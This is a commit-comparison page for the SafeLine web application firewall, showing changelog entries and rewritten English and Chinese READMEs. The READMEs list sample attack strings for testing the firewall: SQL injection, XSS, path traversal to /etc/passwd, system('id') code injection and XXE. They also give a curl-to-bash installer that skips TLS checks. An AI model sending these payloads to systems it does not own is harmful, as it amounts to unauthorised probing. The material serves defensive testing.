Compare commits
138 Commits
release-5.
...
v6.2.0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2283c1ab5a | ||
|
|
bca9cba2eb | ||
|
|
97dbf6b85c | ||
|
|
16cf7385e1 | ||
|
|
5fb5277205 | ||
|
|
97e71288ce | ||
|
|
585b5e441c | ||
|
|
6561a780ab | ||
|
|
bf9245ec27 | ||
|
|
992488972a | ||
|
|
6e109d7187 | ||
|
|
8d62dedcc1 | ||
|
|
593359fa6f | ||
|
|
e85277811e | ||
|
|
51294b5016 | ||
|
|
72334ede65 | ||
|
|
22e8b6f475 | ||
|
|
3f186c046c | ||
|
|
ec218b269e | ||
|
|
f92f87be15 | ||
|
|
624cddcf7b | ||
|
|
6d56781e6d | ||
|
|
86b6bb3441 | ||
|
|
fac90ae03d | ||
|
|
3cd6cc6d3b | ||
|
|
08945b90d0 | ||
|
|
771676b544 | ||
|
|
150e7778f5 | ||
|
|
1ee3a2f161 | ||
|
|
74b5324d2b | ||
|
|
89ec86a4fe | ||
|
|
c8df3d0244 | ||
|
|
edfa792613 | ||
|
|
cc591c1a6c | ||
|
|
c6173276db | ||
|
|
23a75fd21d | ||
|
|
65a940d3ef | ||
|
|
1116a9ae22 | ||
|
|
6235b4d976 | ||
|
|
def3645c9a | ||
|
|
7b292c600c | ||
|
|
d8fcc611c9 | ||
|
|
24f7bb674e | ||
|
|
8a8b1e0608 | ||
|
|
206769369a | ||
|
|
034ee1c5f1 | ||
|
|
f450c38625 | ||
|
|
e1c4b67b96 | ||
|
|
787a4e104d | ||
|
|
65356be165 | ||
|
|
8600dc7b22 | ||
|
|
c9cac7d161 | ||
|
|
b207aace79 | ||
|
|
bb2dab1694 | ||
|
|
83760a1c26 | ||
|
|
b79c01e695 | ||
|
|
1110eedad8 | ||
|
|
71153d0d1b | ||
|
|
535ed97363 | ||
|
|
d50879cd31 | ||
|
|
dc726f35fc | ||
|
|
9177ba2cd3 | ||
|
|
91252b39c3 | ||
|
|
6ff20821a6 | ||
|
|
2a452e7e00 | ||
|
|
6e000a1163 | ||
|
|
8fe49e356b | ||
|
|
c93bba9cab | ||
|
|
82a7a4d224 | ||
|
|
60dc4dd14d | ||
|
|
16f8852d05 | ||
|
|
7028592b4c | ||
|
|
a3bf0edab3 | ||
|
|
50f75d8c77 | ||
|
|
f58855d385 | ||
|
|
c69293f787 | ||
|
|
054b6e1fa2 | ||
|
|
c0d563855a | ||
|
|
c229d86ef9 | ||
|
|
5ff3b69fe4 | ||
|
|
58a9552d04 | ||
|
|
afbe426448 | ||
|
|
cbdd538ecb | ||
|
|
e82d692665 | ||
|
|
bb4e9eca9f | ||
|
|
b74cc5600a | ||
|
|
43e5fd4c43 | ||
|
|
2666952087 | ||
|
|
9963e9c4c8 | ||
|
|
5ed5677e83 | ||
|
|
abbcc93fdc | ||
|
|
6abab2eac9 | ||
|
|
22cc37a1ee | ||
|
|
cbb2b2e275 | ||
|
|
822995e0d3 | ||
|
|
5dd94ca743 | ||
|
|
a6aec88455 | ||
|
|
671654206e | ||
|
|
faba892880 | ||
|
|
6abd504909 | ||
|
|
ec1ef66fb4 | ||
|
|
0dafcac061 | ||
|
|
f900dba08b | ||
|
|
ad4bf766cf | ||
|
|
aa695d5e59 | ||
|
|
ca0c55c035 | ||
|
|
a45a7f5593 | ||
|
|
a8df77d297 | ||
|
|
9c30d44d51 | ||
|
|
aab1852737 | ||
|
|
af908bc7ef | ||
|
|
905b19dce7 | ||
|
|
16f5205693 | ||
|
|
aec9095d7e | ||
|
|
8232677658 | ||
|
|
94b6fabc5f | ||
|
|
d65f689b26 | ||
|
|
9da2f189b4 | ||
|
|
d1e007cdc0 | ||
|
|
1cff17ea6d | ||
|
|
4c3b955b92 | ||
|
|
6e04f0b10f | ||
|
|
4a7ad7527e | ||
|
|
dd66ebc5c1 | ||
|
|
93698a7fe9 | ||
|
|
50a250c2a6 | ||
|
|
a469450be1 | ||
|
|
f3475a362f | ||
|
|
e10ccaf440 | ||
|
|
9748d8587f | ||
|
|
a66b82d878 | ||
|
|
d081ae11ea | ||
|
|
37960b6c70 | ||
|
|
f92b914551 | ||
|
|
e5ede1c94f | ||
|
|
75c9510aa5 | ||
|
|
3593b12c67 | ||
|
|
80e2616c19 |
184
CHANGELOG.md
@@ -1,13 +1,189 @@
|
||||
# SAFELINE-CE CHANGELOG
|
||||
|
||||
## [5.3.0] - 2024-04-03
|
||||
## [6.2.0] - 2024-06-27
|
||||
|
||||
### 新增
|
||||
* 专业版支持**钉钉告警**
|
||||
* 动态防护测试进展良好,取消防护数量限制。HTML 支持全局动态加密,专业版支持快速加解密。JS 支持防护任意数量资源,但性能消耗较大,请充分测试后再上线
|
||||
|
||||
### 优化
|
||||
* 优化站点上游服务器的格式校验([#792](https://github.com/chaitin/SafeLine/issues/792#issuecomment-2031195236) 中涉及问题)
|
||||
* 修复了一些已知问题
|
||||
* 补充规则支持筛选规则 ID、规则名称
|
||||
* 雷池检查上游服务器状态时,UA 内会增加 “SafeLine-CE/版本号”,方便上游区分
|
||||
* 专业版 访问日志/错误日志 中,若配置过 “源 IP 获取方式”,则增加显示对应的请求头内容
|
||||
* 检查上游服务器状态时,由于 404 一般只是根路径不存在,网站仍然正常,本版本起 404 不再判断为异常了
|
||||
* 修复自定义规则名称保存后有时显示不正确的问题
|
||||
|
||||
## [6.1.3] - 2024-06-21
|
||||
### 修复
|
||||
* 修复部分站点详情部分数据空白的问题
|
||||
* 修复部分网页是要动态防护功能时样式错误的问题
|
||||
* 修复 tengine 偶尔出现 exchange secret error 的问题
|
||||
|
||||
|
||||
## [6.1.2] - 2024-06-20
|
||||
|
||||
### 优化
|
||||
* 动态防护社区版支持 5 个,专业版支持 50 个
|
||||
* 简化动态防护配置,移除 启用/禁用 操作,现在直接选防护资源即可。
|
||||
* 注意:历史版本禁用了动态防护,但同时选了若干资源的,升级后会移除这些资源的选择
|
||||
* 优化站点详情 UI 交互,现在可以在详情页编辑站点配置、一键防护配置了
|
||||
* 修复站点处于观察模式时,有时补充规则仍会被拦截的问题
|
||||
* 优化后台服务在重启的过程中,控制台的报错提示
|
||||
* 修复升级有可能出现 tengine 无法启动,以及安装完也可能无法保存站点,提示 “ca md too weak” 的问题
|
||||
* 优化其他 UI 交互细节,修复其他一些已知问题
|
||||
|
||||
## [6.1.1] - 2024-06-14
|
||||
* 修复实时日志显示问题
|
||||
|
||||
## [6.1.0] - 2024-06-14
|
||||
|
||||
### 新增
|
||||
* 专业版站点详情新增访问日志、错误日志。且支持设置日志大小上限,达到上限后自动清理旧文件
|
||||
* 动态防护单站点允许防护的资源数增加到 2 个,专业版增加到 20 个
|
||||
|
||||
### 优化
|
||||
* 人机验证通过后,若访问/攻击频率过高(达到 3 倍的 “限频后人机验证” 阈值),则要求重新进行人机验证
|
||||
* 修复导出日志 csv 中的 “动作” 和控制台页面不一致的问题
|
||||
* 修复动态防护有时仍额外返回源内容的问题
|
||||
* 修复部分补充规则配置了防护后也会被放行的问题
|
||||
* 修复编辑证书后,会自动新建证书而不是更新证书的问题
|
||||
* 修复上游服务器健康检查时,对正常的上游可能返回异常结果 tls internal error 的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [6.0.3] - 2024-06-06
|
||||
|
||||
### 优化
|
||||
* 修复动态防护在观察模式下仍然生效的问题
|
||||
* 修复响应码不为 200 的请求,也会采集进资源的问题
|
||||
* 修复自定义规则中,路径匹配条件未包括参数的问题
|
||||
* 修复使用动态防护时 23333 端口被占用的问题
|
||||
* 修复动态防护选择防护资源时的一些交互细节问题
|
||||
* 优化其他一些 UI 交互细节
|
||||
|
||||
## [6.0.2] - 2024-06-03
|
||||
|
||||
### 优化
|
||||
* 修复部分情况下 mgt 启动异常的问题
|
||||
* 修复站点身份认证功能编辑用户名密码不生效的问题
|
||||
* 修复站点资源只显示 250 条的问题(实际最多支持 500 条)
|
||||
* 优化站点列表加载速度
|
||||
|
||||
## [6.0.1] - 2024-05-31
|
||||
|
||||
### 修复
|
||||
* 修复流式版本 tengine 启动异常的问题
|
||||
* 修复历史攻击事件无法查询明细日志的问题
|
||||
|
||||
## [6.0.0] - 2024-05-31
|
||||
|
||||
### 新增
|
||||
* 站点高级防护新增动态防护(BETA),能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)
|
||||
* 新增上游服务器健康检查,方便配置与管理
|
||||
* 攻击事件的聚合维度增加域名、端口,方便观察。即同一 IP 对不同域名、端口的攻击,现在会记录不同的攻击事件了
|
||||
|
||||
### 优化
|
||||
* 攻击事件支持按域名、端口筛选
|
||||
* 新增 tengine 异常时,紧急恢复 tengine 的命令,详情见文档([紧急恢复 tengine](https://waf-ce.chaitin.cn/docs/faq/other#紧急恢复-tengine))
|
||||
* 修复开启 http2 时,配置站点可能出现 nginx: [warn] protocol options redefined 的问题
|
||||
* 修复黑白名单没有记录触发次数的问题
|
||||
* 站点域名提交时自动删去域名前后的空格,避免证书列表提示域名不匹配
|
||||
* 修复 SDK 旁路部署模式下黑白名单工作异常的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.6.2] - 2024-05-23
|
||||
|
||||
### 优化
|
||||
* 身份认证、控制台登录设置可以一键随机一个密码
|
||||
* 添加/编辑自定义规则时,如果未保存直接关闭弹窗,会增加一个确认提醒([#761](https://github.com/chaitin/SafeLine/issues/761)))
|
||||
* 修复申请免费证书时,域名中带空格或者输入多个域名时会申请失败的问题(报错 onflicting server name ... on 0.0.0.0:80 的问题)
|
||||
* 修复申请证书和添加站点的时候,域名中带空格会报错 “域名不匹配” 的问题([#596](https://github.com/chaitin/SafeLine/issues/596)))
|
||||
* 修复站点为观察模式时,也会拦截一些补充规则的问题
|
||||
* 修复某些情况下免费证书无法续期的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.6.1] - 2024-05-17
|
||||
|
||||
### 修复
|
||||
* 修复无法申请 acme 证书的问题
|
||||
|
||||
|
||||
## [5.6.0] - 2024-05-16
|
||||
|
||||
### 新增
|
||||
* 自定义规则的部分匹配内容支持输入多个值,多个值之间为 “或 (OR)” 关系
|
||||
* 专业版支持自定义人机验证的底部文字,替代雷池版权信息
|
||||
|
||||
### 优化
|
||||
* 502、504 异常页面适配手机端
|
||||
* 编辑站点时,根据需要自动调大 xx_hash_bucket_size、xx_hash_max_size,避免这两种配置不足报错
|
||||
* 修复有时无法采集到站点资源的问题
|
||||
* 优化一些界面交互细节
|
||||
|
||||
## [5.5.2] - 2024-05-10
|
||||
|
||||
### 修复
|
||||
* 修复 IP 组详情某些情况下与老版本不兼容的问题
|
||||
|
||||
## [5.5.1] - 2024-05-10
|
||||
|
||||
### 修复
|
||||
* 修复自定义规则选择 IP 组时规则不生效的问题
|
||||
|
||||
## [5.5.0] - 2024-05-09
|
||||
|
||||
### 新增
|
||||
* 站点列表支持一键配置高级防护规则
|
||||
|
||||
### 优化
|
||||
* 黑白名单、人机验证、身份认证 页面合并为 “自定义规则”,简化导航
|
||||
* 黑白名单、身份认证 规则增加 “触发次数” “通过次数” 统计
|
||||
* 注:同一种规则类型内,触发的优先级为 新添加的自定义规则 > 旧添加的自定义规则 > 站点列表上一键配置的高级防护规则
|
||||
* 站点资源统计逻辑优化
|
||||
* 修复有时候免费证书临期不会自动续期的问题
|
||||
* 修复匹配条件中 ipv6 地址展示不正确的问题([#830](https://github.com/chaitin/SafeLine/issues/830))
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.4.0] - 2024-04-25
|
||||
|
||||
### 新增
|
||||
* 源 IP 获取方式增加 XFF
|
||||
* 专业版增加 系统设置->检测引擎性能配置,可以根据设备的配置等级选择不同的性能模式
|
||||
|
||||
### 优化
|
||||
* 修复浏览器内核版本 < Chromium 93 时,点击智能 AI 分析页面会崩溃的问题
|
||||
* 修复少数情况下,限频没有正常封禁 IP 的问题
|
||||
* 优化 luigi 统计算法,解决 CPU 占用过高的问题
|
||||
* 优化一些 UI 交互细节
|
||||
|
||||
## [5.3.3] - 2024-04-18
|
||||
|
||||
### 优化
|
||||
* 日志列表不返回 IP 组全部内容,降低访问耗时
|
||||
* 修复基础统计 -> 4xx 数量中,把人机验证拦截也计入了的问题
|
||||
* 修复高级统计 -> 来源域名、来源页面中,把内部跳转也计入了的问题
|
||||
* 修复上游有多个域名时,获取不到正确 title 和 icon 的问题([#821](https://github.com/chaitin/SafeLine/issues/821))
|
||||
* 修复筛选 UI 错位问题([#789](https://github.com/chaitin/SafeLine/issues/789))
|
||||
* 修复其他一些已知问题
|
||||
|
||||
## [5.3.2] - 2024-04-12
|
||||
|
||||
### 修复
|
||||
* 修复了地理位置库识别错误的问题
|
||||
|
||||
### 优化
|
||||
* 优化了一些 UI 交互细节
|
||||
|
||||
## [5.3.1] - 2024-04-11
|
||||
|
||||
### 新增
|
||||
* 专业版支持*钉钉告警*
|
||||
* 专业版新增高级数据统计
|
||||
|
||||
### 优化
|
||||
* 上线新版智能 AI 攻击分析,分析结果由长亭问津安全大模型提供,大幅度提升安全分析效果
|
||||
* 支持全种类的攻击分析,包含 注入、CSRF、SSRF、后门等
|
||||
* 标准化输出内容,例如 攻击影响、意图分析、防护建议等
|
||||
* 优化站点上游服务器的格式校验([#792](https://github.com/chaitin/SafeLine/issues/792) 中涉及问题)
|
||||
* 修复了其他一些已知问题
|
||||
* 优化了一些 UI 交互细节
|
||||
|
||||
## [5.2.0] - 2024-03-28
|
||||
|
||||
@@ -93,7 +93,7 @@ directory = /srv/documents \n\
|
||||
\n\
|
||||
[program:front] \n\
|
||||
command = npm start \n\
|
||||
directory = /srv/website \n\
|
||||
directory = /srv/website/cn \n\
|
||||
\n\
|
||||
[program:server] \n\
|
||||
command = /srv/server \n\
|
||||
@@ -108,7 +108,7 @@ RUN npm ci; npm run build
|
||||
|
||||
ENV TARGET=http://localhost:8080
|
||||
COPY website /srv/website
|
||||
WORKDIR /srv/website
|
||||
WORKDIR /srv/website/cn
|
||||
RUN npm ci; npm run build
|
||||
# npm start
|
||||
|
||||
|
||||
186
README.md
@@ -1,123 +1,143 @@
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/403.svg" width="120">
|
||||
</p>
|
||||
<h1 align="center">雷池 - 广受好评的社区 WAF</h1>
|
||||
<br>
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
|
||||
<img src="https://img.shields.io/github/release/chaitin/safeline.svg?color=blue" />
|
||||
<img src="https://img.shields.io/github/release-date/chaitin/safeline.svg?color=blue&label=update" />
|
||||
<img src="https://img.shields.io/docker/v/chaitin/safeline-mgt-api?color=blue">
|
||||
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
|
||||
|
||||
# SafeLine, the best free WAF for webmaster
|
||||
|
||||
<img src="/documents/static/images/403.svg" align="right" width="200" />
|
||||
|
||||
SafeLine is a web security gateway to protect your websites from attacks and exploits.
|
||||
|
||||
It defenses for all of web attacks, such as sql injection, code injection, os command injection, CRLF injection, ldap injection, xpath injection, rce, xss, xxe, ssrf, path traversal, backdoor, bruteforce, http-flood, bot abused and so on.
|
||||
|
||||
<p align="left">
|
||||
<a target="_blank" href="https://waf.chaitin.com/">🏠Home</a> |
|
||||
<a target="_blank" href="https://docs.waf.chaitin.com/">📖Documentation</a> |
|
||||
<a target="_blank" href="https://demo.waf.chaitin.com:9443/dashboard">🔍Live Demo</a> |
|
||||
<a target="_blank" href="https://waf-ce.chaitin.cn/">中文版</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://waf-ce.chaitin.cn/">官方网站</a> |
|
||||
<a href="https://demo.waf-ce.chaitin.cn:9443/dashboard">在线 Demo</a> |
|
||||
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">技术文档</a> |
|
||||
<a href="README_EN.md">For English</a>
|
||||
<p align="left">
|
||||
<a target="_blank" href="https://discord.gg/wyshSVuvxC"><img src="https://img.shields.io/badge/Discord-5865F2?style=flat&logo=discord&logoColor=white"></a>
|
||||
<a target="_blank" href="https://x.com/safeline_waf"><img src="https://img.shields.io/badge/X-000000?style=flat&logo=x&logoColor=white"></a>
|
||||
<a target="_blank" href="https://t.me/safeline_waf"><img src="https://img.shields.io/badge/Telegram-2CA5E0?style=flat&logo=telegram&logoColor=white"></a>
|
||||
<a target="_blank" href="/documents/static/images/wechat-230825.png"><img src="https://img.shields.io/badge/WeChat-07C160?style=flat&logo=wechat&logoColor=white"></a>
|
||||
</p>
|
||||
|
||||
一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术,作为反向代理接入,保护你的网站不受黑客攻击。
|
||||
# Screenshots
|
||||
|
||||
- **累计安装**超过 60000 台
|
||||
- **保护网站**超过 500,000 个
|
||||
- 每天**处理 HTTP 请求**超过 20,000,000,000 次
|
||||
- 每天**拦截攻击**超过 10,000,000 次
|
||||
<img src="./images/safeline_en.png" width=600 />
|
||||
|
||||
核心检测能力由智能语义分析算法驱动,专为社区而生,不让黑客越雷池半步。
|
||||
# How It Works
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/album/0.png" />
|
||||
<img src="/images/safeline-as-proxy.png" align="right" width=400 />
|
||||
|
||||
<h4 align="center">相关源码仓库</h4>
|
||||
<p align="center">
|
||||
<a href="https://github.com/chaitin/yanshi">语义分析自动机引擎</a> |
|
||||
<a href="https://github.com/chaitin/safeline-open-platform">流量分析插件</a> |
|
||||
<a href="https://github.com/chaitin/lua-resty-t1k">T1K 协议</a> |
|
||||
<a href="https://github.com/chaitin/blazehttp">测试工具</a>
|
||||
</p>
|
||||
SafeLine is developed based on nginx, it serves as a reverse proxy middleware to detect and cleans web attacks, its core capabilities include:
|
||||
|
||||
## 相关特性
|
||||
- Defenses for web attacks
|
||||
- Proactive bot abused defense
|
||||
- HTML & JS code encryption
|
||||
- IP-based rate limiting
|
||||
- Web Access Control List
|
||||
|
||||
#### 便捷性
|
||||
# Installation
|
||||
|
||||
采用容器化部署,一条命令即可完成安装,0 成本上手。安全配置开箱即用,无需人工维护,可实现安全躺平式管理。
|
||||
**中国大陆用户安装国际版可能会导致无法连接云服务,请查看** [中文版安装文档](https://docs.waf-ce.chaitin.cn/zh/%E4%B8%8A%E6%89%8B%E6%8C%87%E5%8D%97/%E5%AE%89%E8%A3%85%E9%9B%B7%E6%B1%A0)
|
||||
|
||||
#### 安全性
|
||||
## Automatic Deploy
|
||||
|
||||
首创业内领先的智能语义分析算法,精准检测、低误报、难绕过。语义分析算法无规则,面对未知特征的 0day 攻击不再手足无措。
|
||||
> 👍Recommended
|
||||
|
||||
#### 高性能
|
||||
Use the following command to start the automated installation of SafeLine. (This process requires root privileges)
|
||||
|
||||
无规则引擎,线性安全检测算法,平均请求检测延迟在 1 毫秒级别。并发能力强,单核轻松检测 2000+ TPS,只要硬件足够强,可支撑的流量规模无上限。
|
||||
|
||||
#### 高可用
|
||||
|
||||
流量处理引擎基于 Nginx 开发,性能与稳定性均可得到保障。内置完善的健康检查机制,服务可用性高达 99.99%。
|
||||
|
||||
## 🚀 安装
|
||||
|
||||
### 配置需求
|
||||
|
||||
- 操作系统:Linux
|
||||
- 指令架构:x86_64
|
||||
- 软件依赖:Docker 20.10.6 版本以上
|
||||
- 软件依赖:Docker Compose 2.0.0 版本以上
|
||||
- 最小化环境:1 核 CPU / 1 GB 内存 / 10 GB 磁盘
|
||||
|
||||
|
||||
### 一键安装
|
||||
|
||||
```
|
||||
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
|
||||
```bash
|
||||
bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/setup.sh)"
|
||||
```
|
||||
|
||||
> 更多安装方式请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_install">安装雷池</a>
|
||||
After the command is executed, it means the installation is successfully. Please go to "Use Web UI" directly.
|
||||
|
||||
## 🕹️ 快速使用
|
||||
|
||||
### 登录
|
||||
## Mannually Deploy
|
||||
|
||||
浏览器打开后台管理页面 `https://<waf-ip>:9443`。根据界面提示,使用 **支持 TOTP 的认证软件** 扫描二维码,然后输入动态口令登录:
|
||||
to see [Documentation](https://docs.waf.chaitin.com/en/tutorials/install)
|
||||
|
||||

|
||||
# Usage
|
||||
|
||||
### 配置防护站点
|
||||
## Login
|
||||
|
||||
雷池以反向代理方式接入,优先于网站服务器接收流量,对流量中的攻击行为进行检测和清洗,将清洗过后的流量转发给网站服务器。
|
||||
Open the web console page `https://<safeline-ip>:9443/` in the browser, then you will see below.
|
||||
|
||||

|
||||
<img width="400" src="/images/login.png">
|
||||
|
||||
<font color=grey>💡 TIPS: 添加后,执行 `curl -H "Host: <域名>" http://<WAF IP>:<端口>` 应能获取到业务网站的响应。</font>
|
||||
Execute the following command to get administrator account
|
||||
|
||||
### 测试效果
|
||||
```bash
|
||||
docker exec safeline-mgt /app/mgt-cli reset-admin --once
|
||||
```
|
||||
|
||||
使用以下方式尝试模拟黑客攻击,看看雷池的防护效果如何
|
||||
After the command is successfully executed, you will see the following content
|
||||
|
||||
- 浏览器访问 `http://<IP或域名>:<端口>/?id=1%20AND%201=1`
|
||||
- 浏览器访问 `http://<IP或域名>:<端口>/?a=<script>alert(1)</script>`
|
||||
> Please must remember this content
|
||||
|
||||

|
||||
```text
|
||||
[SafeLine] Initial username:admin
|
||||
[SafeLine] Initial password:**********
|
||||
[SafeLine] Done
|
||||
```
|
||||
|
||||
> 如果你需要进行深度测试,请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_test">测试防护效果</a>
|
||||
Enter the password in the previous step and you will successfully logged into SafeLine.
|
||||
|
||||
### FAQ
|
||||
## Protecting a website
|
||||
|
||||
- [安装问题](https://waf-ce.chaitin.cn/posts/faq_install)
|
||||
- [登录问题](https://waf-ce.chaitin.cn/posts/faq_login)
|
||||
- [网站无法访问](https://waf-ce.chaitin.cn/posts/faq_access)
|
||||
- [配置问题](https://waf-ce.chaitin.cn/posts/faq_config)
|
||||
- [其他问题](https://waf-ce.chaitin.cn/posts/faq_other)
|
||||
Log into the SafeLine Web Admin Console, go to the "Site" -> "Website" page and click the "Add Site" button in the upper right corner.
|
||||
|
||||
## 🏘️ 联系我们
|
||||
<img src="/images/add-site-1.png" width=800>
|
||||
|
||||
1. 可以通过 GitHub Issue 直接进行 Bug 反馈和功能建议
|
||||
2. 可以扫描下方二维码加入雷池社区版用户讨论群
|
||||
In the next dialog box, enter the information to the original website.
|
||||
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
|
||||
- **Domain**: domain name of your original website, or hostname, or ip address, for example: `www.chaitin.com`
|
||||
- **Port**: port that SafeLine will listen, such as 80 or 443. (for `https` websites, please check the `SSL` option)
|
||||
- **Upstream**: real address of your original website, through which SafeLine will forward traffic to it
|
||||
|
||||
## Star History <a name="star-history"></a>
|
||||
After completing the above settings, please resolve the domain name you just entered to the IP address of the server where SafeLine is located.
|
||||
|
||||
<img src="/images/add-site-2.png" width=400>
|
||||
|
||||
Then you can access the website protected by the SafeLine through the domain name like this.
|
||||
|
||||
<img src="/images/safeline-as-proxy-2.png" width=400>
|
||||
|
||||
## Try to attack your website
|
||||
|
||||
Now, your website is protected by SafeLine, let’s try tp attack it and see what happens.
|
||||
|
||||
If https://chaitin.com is a website protected by SafeLine, here are some test cases for common attacks:
|
||||
|
||||
- SQL Injection: `https://chaitin.com/?id=1+and+1=2+union+select+1`
|
||||
- XSS: `https://chaitin.com/?id=<img+src=x+onerror=alert()>`
|
||||
- Path Traversal: `https://chaitin.com/?id=../../../../etc/passwd`
|
||||
- Code Injection: `https://chaitin.com/?id=phpinfo();system('id')`
|
||||
- XXE: `https://chaitin.com/?id=<?xml+version="1.0"?><!DOCTYPE+foo+SYSTEM+"">`
|
||||
|
||||
Replace `chaitin.com` in the above cases with your website domain name and try to access it.
|
||||
|
||||
<img src="/images/blocked.png" width=400>
|
||||
|
||||
Check the web console of SafeLine to see the attack list
|
||||
|
||||
<img src="/images/log-list.png" width=800>
|
||||
|
||||
To view the specific details of the attack, click "detail"
|
||||
|
||||
<img src="/images/log-detail.png" width=600>
|
||||
|
||||
## Star History
|
||||
|
||||
<a href="https://github.com/chaitin/safeline/stargazers">
|
||||
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
|
||||
</a>
|
||||
|
||||
## Related Repo
|
||||
<p >
|
||||
<a href="https://github.com/chaitin/yanshi">Automaton Generator</a> |
|
||||
<a href="https://github.com/chaitin/safeline-open-platform">Lua Plugin</a> |
|
||||
<a href="https://github.com/chaitin/lua-resty-t1k">T1K Protocol</a> |
|
||||
<a href="https://github.com/chaitin/blazehttp">WAF Test Tool</a>
|
||||
</p>
|
||||
|
||||
127
README_CN.md
Normal file
@@ -0,0 +1,127 @@
|
||||
<p align="center">
|
||||
<a href="./README_CN.md">中文</a> |
|
||||
<a href="./README.md">English</a>
|
||||
</p>
|
||||
<h1 align="center">雷池 - 广受好评的社区 WAF</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/403.svg" width="120">
|
||||
</p>
|
||||
<br>
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
|
||||
<img src="https://img.shields.io/github/release/chaitin/safeline.svg?color=blue" />
|
||||
<img src="https://img.shields.io/github/release-date/chaitin/safeline.svg?color=blue&label=update" />
|
||||
<img src="https://img.shields.io/docker/v/chaitin/safeline-mgt-api?color=blue">
|
||||
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://waf-ce.chaitin.cn/">官方网站</a> |
|
||||
<a href="https://demo.waf-ce.chaitin.cn:9443/dashboard">在线 Demo</a> |
|
||||
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">技术文档</a>
|
||||
</p>
|
||||
|
||||
一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术,作为反向代理接入,保护你的网站不受黑客攻击。
|
||||
|
||||
- **累计安装**超过 130,000 台
|
||||
- **保护网站**超过 1,000,000 个
|
||||
- 每天**处理 HTTP 请求**超过 30,000,000,000 次
|
||||
- 每天**拦截攻击**超过 50,000,000 次
|
||||
|
||||
核心检测能力由智能语义分析算法驱动,专为社区而生,不让黑客越雷池半步。
|
||||
|
||||
<img src="./images/safeline.png" />
|
||||
|
||||
<h4 align="center">相关源码仓库</h4>
|
||||
<p align="center">
|
||||
<a href="https://github.com/chaitin/yanshi">语义分析自动机引擎</a> |
|
||||
<a href="https://github.com/chaitin/safeline-open-platform">流量分析插件</a> |
|
||||
<a href="https://github.com/chaitin/lua-resty-t1k">T1K 协议</a> |
|
||||
<a href="https://github.com/chaitin/blazehttp">WAF 测试工具</a>
|
||||
</p>
|
||||
|
||||
## 相关特性
|
||||
|
||||
#### 便捷性
|
||||
|
||||
采用容器化部署,一条命令即可完成安装,0 成本上手。安全配置开箱即用,无需人工维护,可实现安全躺平式管理。
|
||||
|
||||
#### 安全性
|
||||
|
||||
首创业内领先的智能语义分析算法,精准检测、低误报、难绕过。语义分析算法无规则,面对未知特征的 0day 攻击不再手足无措。
|
||||
|
||||
#### 高性能
|
||||
|
||||
无规则引擎,线性安全检测算法,平均请求检测延迟在 1 毫秒级别。并发能力强,单核轻松检测 2000+ TPS,只要硬件足够强,可支撑的流量规模无上限。
|
||||
|
||||
#### 高可用
|
||||
|
||||
流量处理引擎基于 Nginx 开发,性能与稳定性均可得到保障。内置完善的健康检查机制,服务可用性高达 99.99%。
|
||||
|
||||
## 🚀 安装
|
||||
|
||||
### 配置需求
|
||||
|
||||
- 操作系统:Linux
|
||||
- 指令架构:x86_64
|
||||
- 软件依赖:Docker 20.10.6 版本以上
|
||||
- 软件依赖:Docker Compose 2.0.0 版本以上
|
||||
- 最小化环境:1 核 CPU / 1 GB 内存 / 10 GB 磁盘
|
||||
|
||||
### 一键安装
|
||||
|
||||
```
|
||||
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
|
||||
```
|
||||
|
||||
> 更多安装方式请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_install">安装雷池</a>
|
||||
|
||||
## 🕹️ 快速使用
|
||||
|
||||
### 登录
|
||||
|
||||
浏览器打开后台管理页面 `https://<waf-ip>:9443`。根据界面提示,使用 **支持 TOTP 的认证软件** 扫描二维码,然后输入动态口令登录:
|
||||
|
||||

|
||||
|
||||
### 配置防护站点
|
||||
|
||||
雷池以反向代理方式接入,优先于网站服务器接收流量,对流量中的攻击行为进行检测和清洗,将清洗过后的流量转发给网站服务器。
|
||||
|
||||

|
||||
|
||||
<font color=grey>💡 TIPS: 添加后,执行 `curl -H "Host: <域名>" http://<WAF IP>:<端口>` 应能获取到业务网站的响应。</font>
|
||||
|
||||
### 测试效果
|
||||
|
||||
使用以下方式尝试模拟黑客攻击,看看雷池的防护效果如何
|
||||
|
||||
- 浏览器访问 `http://<IP或域名>:<端口>/?id=1%20AND%201=1`
|
||||
- 浏览器访问 `http://<IP或域名>:<端口>/?a=<script>alert(1)</script>`
|
||||
|
||||

|
||||
|
||||
> 如果你需要进行深度测试,请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_test">测试防护效果</a>
|
||||
|
||||
### FAQ
|
||||
|
||||
- [安装问题](https://waf-ce.chaitin.cn/posts/faq_install)
|
||||
- [登录问题](https://waf-ce.chaitin.cn/posts/faq_login)
|
||||
